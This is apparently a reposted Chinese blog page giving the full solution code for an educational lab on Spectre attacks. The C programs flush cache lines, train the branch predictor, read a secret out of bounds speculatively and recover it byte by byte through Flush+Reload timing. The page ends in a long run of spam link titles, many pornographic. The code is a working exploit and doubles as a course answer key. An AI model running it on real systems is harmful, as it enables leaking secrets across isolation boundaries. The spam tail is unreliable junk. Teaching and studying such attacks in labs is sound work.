_mm_clflush(&array[i*4096 +DELTA]); }// 針對(duì)每個(gè)可能的敏感字符設(shè)置積分?jǐn)?shù)組 static int scores[256]; void reloadSideChannelImproved() {int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;//補(bǔ)全下方代碼,當(dāng)每次字符i被命中一次,對(duì)應(yīng)的積分+1/*************************************/for (i = 0; i < 256; i++) {addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD)scores[i]++;}/*************************************/}void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {restrictedAccess(i); }// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }//// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond);if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T5/result.txt","w");int i;uint8_t s;size_t index_beyond = (size_t)(secret - (char*)buffer);flushSideChannel();for(i=0;i<256; i++) scores[i]=0; //重復(fù)執(zhí)行1000次SpectreAttack和reloadSideChannelImproved函數(shù)for (i = 0; i < 1000; i++) {spectreAttack(index_beyond);usleep(10);reloadSideChannelImproved();}int max = 0;// 補(bǔ)全下方代碼,從scores數(shù)組中找到最大值,并將其索引值賦值給max/*************************************/for (i = 0; i < 256; i++) {if(max<scores[i])max=scores[i];}for (i = 0; i < 256; i++) {if(max==scores[i]){ max=i;break;}}/*************************************/printf("秘密值 \'%c\' (ASCII: %d),積分值:%d.\n", max, max, scores[max]);fprintf(fp,"%c|%d",(max > 31 && max < 127 ? max : '?'), scores[max]);fclose(fp);return (0); }

    第6關(guān):Spectre攻擊竊取敏感信息實(shí)戰(zhàn)

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
    • 編程要求
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    基于前面關(guān)卡所掌握的知識(shí)和技術(shù),進(jìn)行內(nèi)存中敏感信息的竊取實(shí)戰(zhàn),加深對(duì)Spectre幽靈攻擊全流程的認(rèn)識(shí),同時(shí)強(qiáng)化實(shí)踐動(dòng)手能力。

    任務(wù)描述

    本關(guān)任務(wù)中,基本設(shè)計(jì)與前一關(guān)卡類似,區(qū)別在于使用了靜態(tài)鏈接庫(kù),將敏感信息編譯在了該庫(kù)中,該庫(kù)中所包含的部分變量如下圖所示: 同時(shí),該庫(kù)提供了如下函數(shù),供學(xué)員代碼調(diào)用。

  • size_t get_addr_offset(); // 獲取secret敏感信息在內(nèi)存中的位置相比合法訪問的內(nèi)存buffer[10]的偏移量
  • int get_secret_len(); // 獲取secret敏感信息的長(zhǎng)度
  • uint8_t get_info_sand_box(size_t); // 沙箱示意函數(shù)
  • get_info_sand_box沙箱示意函數(shù)與前關(guān)卡uint8_t restrictedAccess(size_t x)函數(shù)相同,其代碼如下圖:

    利用前面關(guān)卡所掌握的知識(shí),完善和補(bǔ)全右側(cè)代碼,利用高速緩存?zhèn)刃诺篮蚐pectre預(yù)測(cè)執(zhí)行漏洞,實(shí)現(xiàn)對(duì)敏感信息secret的準(zhǔn)確恢復(fù)。

    相關(guān)知識(shí)

    見前面1-4關(guān)的相關(guān)知識(shí)一節(jié)。

    編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完善各函數(shù)代碼,最終輸出指定格式的敏感信息竊取結(jié)果。

    測(cè)試說明

    運(yùn)行自測(cè),查看代碼運(yùn)行結(jié)果,并最終將竊取到的敏感信息完整內(nèi)容寫入/home/目錄下的result.txt文件??梢允褂胒printf(fp,"%c",(max > 31 && max < 127 ? max : '?'))函數(shù)輸出到該文件,也可以使用vim工具將內(nèi)容寫入文件。

    平臺(tái)會(huì)對(duì)你編寫的代碼和信息竊取結(jié)果進(jìn)行測(cè)試。

    預(yù)期輸出:

  • 第0個(gè)秘密字符的最優(yōu)值 'X' (ASCII: XX) 積分:[147] 次優(yōu)值 '?' (ASCII: 0) 積分:[13]
  • 第1個(gè)秘密字符的最優(yōu)值 'Y' (ASCII: YY) 積分:[133] 次優(yōu)值 '?' (ASCII: 0) 積分:[5]
  • 第2個(gè)秘密字符的最優(yōu)值 'Z' (ASCII: ZZ) 積分:[130] 次優(yōu)值 '?' (ASCII: 3) 積分:[9]
  • ……

  • 開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include "encipher.h"extern unsigned int bound_lower; extern unsigned int bound_upper;uint8_t temp = 0;uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (80)#define DELTA 2048 static int scores[256]; FILE *fp;void flushSideChannel() {//補(bǔ)全下方代碼,初始化array數(shù)組,并將所有相關(guān)數(shù)據(jù)從緩存中驅(qū)逐/*************************************/int i;for(i=0;i<256;i++){array[i*4096+DELTA]=1;}for(i=0;i<256;i++){_mm_clflush(&array[i*4096+DELTA]);}/*************************************/ }void reloadSideChannelImproved() {//補(bǔ)全下方代碼,完成高速緩存?zhèn)刃诺赖腞eload步驟,根據(jù)緩存命中情況,更新score數(shù)組/*************************************/int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;for (i = 0; i < 256; i++) {addr = &array[i * 4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){scores[i]++; }} /*************************************/ }void spectreAttack(size_t index_beyond) {//補(bǔ)全下方代碼,針對(duì)指定的內(nèi)存位置,開展Spectre攻擊,包括緩存清空、CPU訓(xùn)練、緩存驅(qū)逐、預(yù)測(cè)執(zhí)行和緩存加載等環(huán)節(jié)/*************************************/int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {get_info_sand_box(i);}// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++){ _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = get_info_sand_box(index_beyond);if(s!=0)array[s*4096 + DELTA] += 88;/*************************************/ }int main() {//補(bǔ)全下方代碼,針對(duì)敏感信息secret的每個(gè)字節(jié),逐個(gè)進(jìn)行提取,每個(gè)字節(jié)的提取操作執(zhí)行1000次,并按照指定格式輸出提取結(jié)果及其積分值(可以包括最優(yōu)值與次優(yōu)值,即score最大的值和第二大的值的索引)。//打印示例:printf("第%d個(gè)秘密字符的最優(yōu)值 \'%c\' (ASCII: %d) 積分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);/*************************************/int i;uint8_t s;fp=fopen("/home/result.txt","w");size_t index_beyond = get_addr_offset();flushSideChannel();for(int k=0;k<get_secret_len();k++){for(i=0;i<256; i++){scores[i]=0; }for (i = 0; i < 1000; i++) {spectreAttack(index_beyond+k);usleep(10);reloadSideChannelImproved();}int max = 0; int mx= 0; for (i = 0; i < 256; i++){// printf("%d ", scores[i]);if(scores[max] < scores[i]) {max = i;}}for (i = 0; i < 256; i++){if(scores[mx] < scores[i] && i!=max) {mx = i;}}printf("第%d個(gè)秘密字符的最優(yōu)值 '%c' (ASCII: %d) 積分:[%d] 次優(yōu)值 '%c' (ASCII: %d) 積分:[%d]\n", k, (max > 31 && max < 127 ? max : '?'), max, scores[max],(mx > 31 && mx < 127 ? mx : '?'), mx, scores[mx]);fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));}/*************************************/return (0); }

    總結(jié)

    以上是生活随笔為你收集整理的Spectre侧信道攻击过程验证的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    久久久久久久久久久综合 | 亚洲日韩欧美一区二区在线 | 成人免费在线播放视频 | 九九色网 | 美女网站在线观看 | 丁香九月婷婷 | 亚洲影视资源 | 麻豆91网站 | 欧美性极品xxxx娇小 | 蜜臀av性久久久久av蜜臀三区 | 免费观看av | 在线观看中文字幕网站 | 在线精品观看国产 | 午夜电影久久久 | 久久综合99 | 久久久久国产一区二区 | 蜜臀aⅴ国产精品久久久国产 | 精品国内 | 激情久久一区二区三区 | 国产特级毛片aaaaaa高清 | 国产精品久久久久久久av大片 | 国产第一页在线播放 | 中文字幕在线免费看线人 | 久久草草热国产精品直播 | 国产精品18久久久久白浆 | 西西44人体做爰大胆视频 | 综合久久久久久 | 久草免费在线观看视频 | 胖bbbb搡bbbb擦bbbb| 天天操操操操操 | 久久99精品国产麻豆宅宅 | 人人草人| 久青草国产在线 | 亚洲成人国产精品 | 成人黄色电影免费观看 | 国产麻豆视频免费观看 | japanesexxxhd奶水 91在线精品一区二区 | 日韩一二三 | 狠狠色噜噜狠狠狠合久 | 国产啊v在线| 最近2019年日本中文免费字幕 | 久久久婷 | 成人av免费在线观看 | 黄色影院在线播放 | 97在线精品国自产拍中文 | 在线不卡中文字幕播放 | 色婷婷激情五月 | 日韩欧美国产成人 | 丁香九月激情综合 | 精品久久久久久综合 | 精品一区二区三区在线播放 | 99综合电影在线视频 | 免费观看av网站 | 黄色片亚洲 | 日韩黄色软件 | 99久久精品国产免费看不卡 | 久久久久久久久久久久久久av | 亚洲国产电影在线观看 | 国产精品嫩草在线 | 国产午夜精品av一区二区 | 久久久久日本精品一区二区三区 | 欧美三人交 | 蜜臀av性久久久久蜜臀aⅴ涩爱 | 国产一区二区精品 | 亚洲精选视频免费看 | 国产精品免费久久久久影院仙踪林 | 国产精品岛国久久久久久久久红粉 | 99亚洲视频 | 久草新在线 | aaa日本高清在线播放免费观看 | www.com.日本一级 | 国产成人精品久久久久蜜臀 | 干狠狠| 亚洲综合欧美日韩狠狠色 | 国内偷拍精品视频 | 精品在线观看视频 | 国产成人av在线 | 久草爱| 麻豆视频在线观看 | 黄p网站在线观看 | 色97在线| 国产日韩欧美网站 | 国产高清在线a视频大全 | 五月天高清欧美mv | 久久综合九色综合久99 | 午夜精品一区二区三区视频免费看 | 天天射天天干天天插 | 日韩久久电影 | 一区二区三区四区在线 | 国产精品永久免费观看 | 91成人免费视频 | 成年人黄色免费看 | 成人在线免费视频 | 精品字幕在线 | 国产成人综合图片 | 中文字幕一区二区三区精华液 | 午夜影院三级 | 激情视频网页 | 国产成人在线播放 | 免费人做人爱www的视 | 欧美色噜噜噜 | 日韩一级电影在线观看 | 免费在线观看av电影 | 久久国产免 | 国产精品成人自产拍在线观看 | 国产日产高清dvd碟片 | 国产精品一区二区在线播放 | 500部大龄熟乱视频使用方法 | 精品主播网红福利资源观看 | 五月天中文字幕mv在线 | 国产福利精品在线观看 | 国产精品色视频 | 亚洲天天在线 | 99久久电影 | 成人h视频在线播放 | av在线a | 五月天婷婷免费视频 | 免费中文字幕在线观看 | 在线免费视频 你懂得 | 狠狠躁夜夜躁人人爽超碰97香蕉 | www.天天操.com | 在线亚洲欧美视频 | 日本中文字幕免费观看 | 日韩欧美一区二区不卡 | 人人插人人草 | 亚洲精品在线观看网站 | 国产一级二级在线观看 | 黄色av一区二区三区 | 美女免费视频观看网站 | 丁香久久婷婷 | 久久久99国产精品免费 | 偷拍精偷拍精品欧洲亚洲网站 | 黄色com| 中文字幕av免费在线观看 | 性色av一区二区三区在线观看 | 久久久网站 | 在线观看 国产 | ,午夜性刺激免费看视频 | 久久免费激情视频 | www.香蕉视频在线观看 | 欧美日韩免费看 | 国产精品久久久久aaaa九色 | 69亚洲精品| 黄色av一级片 | 国产精品免费观看国产网曝瓜 | 91精品国产一区二区在线观看 | 国产精品毛片久久久久久久久久99999999 | 99 色| 亚洲少妇自拍 | 91.精品高清在线观看 | 天天翘av | 色资源网免费观看视频 | 天天干视频在线 | 三级av片| 五月婷在线播放 | av黄网站 | 五月婷婷中文网 | 91av亚洲| 99人成在线观看视频 | 日韩在线观看精品 | 久久高清国产 | 日本黄色大片儿 | 一区 在线观看 | 欧美美女视频在线观看 | 黄色99视频| 九九电影在线 | 午夜av电影院 | 久热精品国产 | 国产精品久久网站 | 久久涩涩网站 | 成人av在线一区二区 | 久久99精品一区二区三区三区 | 久久综合综合久久综合 | 久久8| 男女激情片在线观看 | 免费在线观看av电影 | 中文字幕不卡在线88 | 精品国产一二三四区 | 91试看| 激情丁香婷婷 | 国产精品网红福利 | 日日操网站 | 在线免费观看av网站 | 日韩专区在线播放 | 国产精品 9999 | 一区二区三区四区五区在线视频 | 亚洲最新视频在线 | 久久精品精品电影网 | 成人一级电影在线观看 | 精品视频免费看 | 天天干天天干天天 | 麻豆va一区二区三区久久浪 | 国产美女视频免费观看的网站 | 三级黄色网址 | 国产亚洲午夜高清国产拍精品 | www.亚洲视频| 成人免费在线观看av | 超碰九九| av电影一区 | 国产精品麻豆99久久久久久 | 国产成人a v电影 | 久久国产热视频 | av在线播放国产 | 91一区二区三区久久久久国产乱 | 国产精品久久久久婷婷 | 日韩免费电影 | 欧美韩日在线 | 天天操天天射天天插 | 亚洲高清在线视频 | 欧美另类性 | 国产日产精品一区二区三区四区的观看方式 | 日韩av视屏 | 欧美日韩国产伦理 | 99av在线视频| 天天摸天天操天天爽 | 国产精品麻豆果冻传媒在线播放 | 国产 日韩 在线 亚洲 字幕 中文 | 涩涩资源网 | 久草在线资源网 | 国产69精品久久app免费版 | 玖玖在线播放 | 狠狠久久 | 91精品国产99久久久久 | 中文在线免费看视频 | 美女网站在线看 | a久久久久 | 久久综合狠狠综合久久综合88 | 久久麻豆精品 | 黄色国产在线 | 久草在线免费电影 | 国产黑丝一区二区 | 国产精品一区二区在线观看 | 国产成人三级在线 | 在线www色 | 久久在线电影 | 一区二区视频免费在线观看 | 激情五月五月婷婷 | 国产在线一区二区 | 久久久久久久久爱 | 久久亚洲区 | 99一级片| 国产精品毛片久久蜜 | 久久成人免费电影 | 久久一区二 | 久久精品日本啪啪涩涩 | 亚洲一区二区天堂 | 欧美综合在线视频 | 西西人体4444www高清视频 | 五月婷婷黄色网 | 亚洲欧美日本A∨在线观看 青青河边草观看完整版高清 | 麻豆传媒一区二区 | 综合网五月天 | 久久精品国产成人 | 国产特级毛片 | 成人精品一区二区三区中文字幕 | 中文字幕在线视频一区二区 | 色狠狠狠 | 中文字幕一区二区三区四区在线视频 | 日韩一区二区三区免费电影 | 亚洲久在线 | 国产精品久久久999 国产91九色视频 | 中文av字幕在线观看 | 婷婷六月天丁香 | 96超碰在线| 亚洲国产综合在线 | 免费日韩 精品中文字幕视频在线 | 97色狠狠 | 深爱婷婷激情 | 999在线精品 | 久久中文字幕在线视频 | 国产一区欧美一区 | 日韩高清在线观看 | 在线va视频| 欧美综合干 | 91亚洲综合 | 91粉色视频 | 色就是色综合 | 奇米影音四色 | av电影中文 | 久久久久亚洲精品中文字幕 | 欧美激情视频一二三区 | 免费看毛片网站 | 黄色特一级 | 中文不卡视频 | 国产精品一区免费在线观看 | 午夜精品一区二区三区免费视频 | av在线超碰 | 97久久久免费福利网址 | 婷婷六月丁香激情 | 天天色影院 | 国产精品久久久久久久久久久久 | 337p日本欧洲亚洲大胆裸体艺术 | 国产99一区视频免费 | 天天天天天天干 | 色午夜| 免费观看午夜视频 | 欧美日韩一区三区 | 久久免费视频一区 | 日韩精品不卡在线观看 | 日韩午夜在线观看 | 最新日韩视频在线观看 | 手机成人在线电影 | 久久麻豆视频 | 午夜精品久久久久久久久久久 | 96久久精品 | 国产中文字幕视频在线观看 | 精品美女在线观看 | 亚洲黄色精品 | 免费黄色网址大全 | 性色av免费观看 | 日韩有码在线观看视频 | 五月综合激情网 | 色偷偷男人的天堂av | 国产精品久久久久久久久久免费 | 搡bbbb搡bbb视频 | 一区三区视频 | 激情欧美一区二区三区免费看 | mm1313亚洲精品国产 | 亚洲精品欧美视频 | 免费观看一区二区 | 午夜视频在线观看网站 | 久久精品成人欧美大片古装 | 成人黄色在线 | 免费看的黄色的网站 | 久久综合五月天婷婷伊人 | 亚洲区视频在线观看 | 四月婷婷在线观看 | 又黄又爽又无遮挡的视频 | 处女av在线| 国产精品高潮在线观看 | 亚洲国产精品激情在线观看 | 人人爽人人爽 | av电影不卡 | 人人艹人人 | 日韩毛片一区 | 欧美日韩在线观看一区 | av一级一片 | 97超碰资源网 | 一级黄色片毛片 | 超级碰碰免费视频 | 日韩欧美网址 | 欧美美女一级片 | 成人av在线直播 | 四虎8848免费高清在线观看 | 国内一级片在线观看 | 91成人区 | 久久久久久久久综合 | 操操操av | 久久精品国产免费看久久精品 | 国产在线精品区 | 九九99| 91亚洲网站| 在线视频欧美精品 | 五月天精品视频 | 国产精品黑丝在线观看 | 99视频在线精品 | 青青久视频 | 91精品啪在线观看国产线免费 | 天天干天天操人体 | 国产黑丝一区二区三区 | 亚洲精品国产精品乱码在线观看 | 国产精品永久免费视频 | 91视频网址入口 | 99久久网站| 国产精品久久久久久久久久久久 | 亚洲v精品 | 青春草免费视频 | 欧美成人手机版 | 狠狠躁夜夜躁人人爽超碰91 | 国产一区二区三区 在线 | 久久首页| 久久激情综合 | 国产一级在线播放 | 亚洲精品乱码久久久久久蜜桃91 | 午夜精品视频免费在线观看 | 波多野结衣视频一区二区三区 | 国产精品一区一区三区 | 精品黄色在线观看 | 国产精品粉嫩 | 免费热情视频 | 欧美在线久久 | 97自拍超碰 | 偷拍精偷拍精品欧洲亚洲网站 | 天天操天天摸天天爽 | 天堂av官网 | 亚洲精品中文字幕在线 | 91久久国产精品 | 午夜精品一区二区三区在线观看 | 久久久官网 | 91大片网站 | 热久久影视| 午夜视频在线观看一区 | 色婷婷伊人 | 久久黄色小说视频 | 欧美久久久久久久久中文字幕 | 中文字幕亚洲国产 | 久久99国产精品免费 | 天天草综合网 | 成人一区二区三区在线观看 | 午夜电影av | 亚洲精品免费在线 | 97视频总站 | 国产精品女主播一区二区三区 | 91新人在线观看 | 婷婷婷国产在线视频 | av中文字幕网 | 91免费高清观看 | 国产中文字幕在线 | 激情视频91 | 国产精品刺激对白麻豆99 | 福利片视频区 | 久久久久激情 | 91最新视频| 亚洲午夜精品一区二区三区电影院 | 成人a视频在线观看 | 婷五月天激情 | 欧美a级在线播放 | 一级黄毛片 | 亚洲欧美国产日韩在线观看 | 丁香花中文字幕 | 日韩黄色免费在线观看 | 在线天堂中文在线资源网 | 日日弄天天弄美女bbbb | 久久99视频免费观看 | 中文超碰字幕 | 中文字幕成人一区 | 蜜臀av免费一区二区三区 | 97人人模人人爽人人喊中文字 | 久99久中文字幕在线 | 国产精品国产精品 | 国产亚洲亚洲 | 欧美少妇影院 | 日韩高清免费无专码区 | 九九九九免费视频 | 91热精品视频| av在线收看 | 久久99精品久久久久婷婷 | 中文字幕在线观看完整版 | 国产亚洲精品久久久久久无几年桃 | 亚洲精品动漫久久久久 | 欧美日韩一区二区三区在线观看视频 | 国产精品久久久精品 | 婷婷在线观看视频 | 亚洲一区尤物 | 日韩av进入| 亚洲精品视频免费在线观看 | www.狠狠插.com | 日韩午夜一级片 | 视频 国产区 | 久久久 精品 | 丁香婷婷色综合亚洲电影 | a级片在线播放 | 欧美日韩3p| 欧美日韩伦理一区 | 五月婷婷视频在线观看 | 日韩av影片在线观看 | 欧美成年网站 | 天天射天天射天天 | 全久久久久久久久久久电影 | 久久免费a | 四虎永久视频 | 国产精品69久久久久 | 香蕉视频在线免费看 | 中文亚洲欧美日韩 | 看片的网址 | 91精品在线麻豆 | 久久久久欠精品国产毛片国产毛生 | 精品视频免费久久久看 | 深爱激情五月婷婷 | 日韩高清片 | 亚洲aⅴ免费在线观看 | 99精品视频在线观看 | 麻花天美星空视频 | 久久成人免费电影 | 91亚洲成人 | 国产精品一区二区三区久久 | 91手机在线看片 | 日韩色中色 | 91完整视频 | 狠狠做六月爱婷婷综合aⅴ 日本高清免费中文字幕 | 久久国产a| 特级西西444www高清大视频 | 国产玖玖在线 | 久黄色 | 911香蕉 | 日韩精品综合在线 | 精品久久久久久久久亚洲 | 人人爽久久久噜噜噜电影 | 日韩久久网站 | 一区三区在线欧 | 91刺激视频| 在线亚洲免费视频 | 最新国产精品拍自在线播放 | 人人干在线观看 | 亚洲作爱视频 | 日韩午夜剧场 | 婷婷视频在线播放 | 狠狠躁夜夜躁人人爽超碰91 | 在线观看视频福利 | 国产手机在线播放 | 尤物一区二区三区 | 久久久久久久久久久久亚洲 | 国际av在线 | av免费看在线 | 久久理论影院 | 美女视频黄是免费的 | 国产成人综合在线观看 | a极黄色片| 日日干夜夜骑 | 久久短视频| 91精品视频免费在线观看 | a久久久久| 久久久精品视频网站 | 日韩欧美黄色网址 | 国产精品毛片一区二区在线看 | 欧美日韩国产精品一区二区三区 | 在线综合色 | 久久国产女人 | 欧美色伊人 | 日韩欧美精品在线 | 亚洲精品1234区 | 日韩精品久久中文字幕 | 久久久久久久电影 | 999国产| 国产精品国产亚洲精品看不卡15 | 成人午夜免费福利 | 五月婷婷综合在线观看 | 国产剧在线观看片 | 国产视频亚洲精品 | 免费在线观看国产黄 | 热久久视久久精品18亚洲精品 | 亚洲国产免费网站 | 国产一区二区三区免费视频 | 日日草av | 亚洲婷婷综合色高清在线 | 9i看片成人免费看片 | 精品国产黄色片 | 色a网 | 成人精品国产免费网站 | 久久人人精品 | 中文字幕在线观看完整版 | 激情欧美一区二区三区免费看 | 久久电影国产免费久久电影 | 夜夜骑首页 | 在线精品视频免费观看 | 四虎国产精品免费 | 在线视频亚洲 | 欧美日韩不卡在线 | 黄色大片中国 | 免费a级黄色毛片 | 成 人 黄 色 视频免费播放 | 免费av视屏 | 91免费网址| 欧美最猛性xxxxx免费 | 日本一区二区三区视频在线播放 | 国产精品久久久久久久久久久久久久 | 五月婷婷中文字幕 | 亚洲综合欧美日韩狠狠色 | 日韩电影中文字幕在线观看 | 91传媒91久久久 | 81国产精品久久久久久久久久 | 正在播放 久久 | 九九精品毛片 | 在线播放精品一区二区三区 | 香蕉在线视频观看 | 国产视频69 | 国产麻豆精品95视频 | 国产亚洲日 | 免费av在线| 波多野结衣视频网址 | 成人国产精品免费 | 欧美性精品| 激情五月婷婷综合 | 亚洲六月丁香色婷婷综合久久 | 日韩精品aaa | 欧美激情精品久久久久久免费印度 | 色五婷婷 | 国产精品毛片一区视频播 | 国产黄色特级片 | 婷婷精品国产一区二区三区日韩 | 亚洲va欧美va国产va黑人 | 丁香视频免费观看 | 全黄网站 | 韩国一区二区三区在线观看 | 91精品视频观看 | 久久草草影视免费网 | 国产免码va在线观看免费 | 91精品国产高清自在线观看 | 亚洲欧洲在线视频 | 亚洲精品啊啊啊 | 精品麻豆入口免费 | 日韩一级黄色av | 麻花豆传媒一二三产区 | 人人添人人澡 | 天堂va欧美va亚洲va老司机 | 久久久久亚洲精品 | 国产精品系列在线播放 | a视频在线观看 | 日韩精品一区二区免费视频 | 狠狠干干 | 国产特黄色片 | 国产不卡精品视频 | 97在线资源 | 亚洲精品乱码久久久久久9色 | 亚洲精品视频在线看 | 日韩欧美视频免费在线观看 | 久久久久国产精品视频 | 日韩一区二区三 | 丁香婷婷色综合亚洲电影 | 国产高清中文字幕 | 日韩网站免费观看 | 成人免费看片网址 | 欧美综合国产 | 91在线视频观看 | 国产精品麻豆99久久久久久 | 97人人网| 午夜精品久久久久久久久久久久 | 在线观看免费日韩 | 青草视频在线免费 | 9999精品 | 国产免费成人av | 91成人精品国产刺激国语对白 | 成人影视免费看 | 色视频成人在线观看免 | 国产手机在线视频 | 色资源在线 | 在线影视 一区 二区 三区 | 日韩视频免费观看高清完整版在线 | 国产伦精品一区二区三区… | 四虎成人精品在永久免费 | 免费日韩av片 | 91av手机在线观看 | 欧美三级高清 | 黄色毛片一级片 | 97人人模人人爽人人喊中文字 | 亚洲欧洲精品一区 | 在线观看中文字幕2021 | 久久综合五月婷婷 | 少妇bbbb搡bbbb桶 | 麻豆91精品视频 | 99国内精品久久久久久久 | 四虎影视国产精品免费久久 | 99久久精品日本一区二区免费 | 在线观看免费成人av | 伊人狠狠色丁香婷婷综合 | japanesefreesexvideo高潮 | 国产日韩一区在线 | 国产伦精品一区二区三区免费 | 亚洲欧洲xxxx | 久久成人精品电影 | 国产一区欧美一区 | 在线观看免费高清视频大全追剧 | 国产精品一区二区av日韩在线 | 一区二区三区视频网站 | 亚洲精品视频第一页 | 欧美另类激情 | 久久午夜精品影院一区 | 欧美 日韩 久久 | 国产成人a亚洲精品v | avwww在线观看 | 亚洲人成综合 | 欧美va天堂在线电影 | 中文字幕在线网址 | 91大神电影 | 欧美日韩视频一区二区 | 亚洲2019精品 | 欧美狠狠色 | 中文在线免费一区三区 | 国产亚洲欧美在线视频 | 91片黄在线观看 | 狠狠色丁香婷综合久久 | 亚洲第一区精品 | 公与妇乱理三级xxx 在线观看视频在线观看 | 极品中文字幕 | 在线视频一区观看 | 免费日韩三级 | 国产一级免费片 | 国产视频一区在线免费观看 | 欧美成人影音 | 99在线免费观看视频 | www免费在线观看 | 久久久久亚洲精品国产 | 亚洲五月婷 | 国产涩涩网站 | 黄色小说免费在线观看 | 中文字幕三区 | 在线网站黄 | 欧美少妇的秘密 | 国产亚洲视频系列 | 久久国产精品一区二区三区四区 | 国产一区二区在线看 | 国内毛片毛片 | 亚洲欧美色婷婷 | 国产精品a成v人在线播放 | 在线视频 成人 | 中文字幕在线播放视频 | 亚洲在线精品视频 | 丁香视频| 欧美日韩国产伦理 | 久久久久二区 | 91久久电影| 日韩大片在线免费观看 | 狠狠综合 | 1024手机基地在线观看 | av免费成人 | 国产一级黄色片免费看 | 日日夜夜人人精品 | 超碰人人草 | 国产成人精品一区二区在线观看 | 成人国产一区 | 亚洲激情中文 | 99久久精品免费 | 欧美91精品久久久久国产性生爱 | 91欧美在线| 国产成人精品综合久久久久99 | 日韩性久久| 九九视频在线观看视频6 | 国语精品视频 | 国产一二三区在线观看 | 中文国产字幕在线观看 | 91黄色免费网站 | 免费能看的av | 日韩视频区 | 亚洲精色| 久久久久久久久艹 | 免费在线成人av | 欧美aaaxxxx做受视频 | 免费在线观看日韩欧美 | 国产精品久久久久久婷婷天堂 | 99久久99视频只有精品 | 五月婷婷伊人网 | 美女视频是黄的免费观看 | 欧美极品少妇xxxxⅹ欧美极品少妇xxxx亚洲精品 | 国产精品观看在线亚洲人成网 | 国产在线观看免 | 日本天天色| 欧美a级免费视频 | 国产91九色视频 | 久久精品欧美日韩精品 | 国产精品久久久久久av | 不卡的一区二区三区 | 日韩精品一区二区三区高清免费 | 91亚色免费视频 | 手机av观看 | 欧美极品少妇xxxxⅹ欧美极品少妇xxxx亚洲精品 | 久久国产剧场电影 | 亚洲高清免费在线 | 精品免费国产一区二区三区四区 | 中文字幕中文 | www.夜夜 | 精品在线视频一区二区三区 | 美女久久久久久久久久久 | 天天操天| 亚洲一区美女视频在线观看免费 | 91av视频在线观看 | 亚洲精品免费在线播放 | 最新成人在线 | 国产黄色一级大片 | 亚洲精品国产成人 | 国产精品99视频 | 久久经典国产视频 | 免费在线观看成人 | 777视频在线观看 | 九色精品免费永久在线 | 一区二区三区免费播放 | 天天插综合 | 亚洲香蕉在线观看 | 欧美午夜久久 | 麻豆成人精品视频 | 狠狠色丁香婷综合久久 | 波多野结衣在线播放一区 | 国产清纯在线 | 成人va视频| 一区二区三区精品在线视频 | 久久综合色婷婷 | 免费亚洲婷婷 | 色 中文字幕 | 在线91色 | 激情伊人五月天久久综合 | 涩涩网站在线观看 | www黄在线 | 一区二区三区在线不卡 | 久久久久久久久久免费视频 | 国产一区二区三区四区大秀 | 中文字幕在线观看一区二区 | 精品国模一区二区三区 | 久久国产品 | 视频国产 | 日韩欧美高清一区二区 | ww视频在线观看 | 亚洲www天堂com | 五月婷婷视频在线 | 亚洲午夜精品久久久久久久久久久久 | 九七人人干 | 国产视频欧美视频 | 久久成人亚洲欧美电影 | 九九九九色 | 日本资源中文字幕在线 | 91免费版在线观看 | 久青草影院 | 成x99人av在线www | 亚洲伊人成综合网 | 国产日韩在线看 | 久久免费的视频 | 日韩色综合 | 日本免费久久高清视频 | 国产xx视频 | 久久久综合电影 | 久久久久久久看片 | 日韩电影一区二区三区 | av电影中文字幕 | 日韩三级久久 | 中文字幕在线观看网址 | 天天爽人人爽 | 黄色的视频网站 | 一级黄色片网站 | 最新免费av在线 | 夜夜视频欧洲 | 国产精品综合久久久 | 四虎5151久久欧美毛片 | 超碰97国产在线 | 国产精品免费小视频 | 99精品视频网 | 久久久精品视频网站 | 欧美aaa大片 | 国产专区欧美专区 | 欧美日韩国产在线精品 | 国产精品激情 | 久久免费试看 | 日韩在线视频一区 | 成人久久久久久久久 | 91污污视频在线观看 | 中文字幕高清在线 | 天天干,天天草 | 欧美精品xxx | 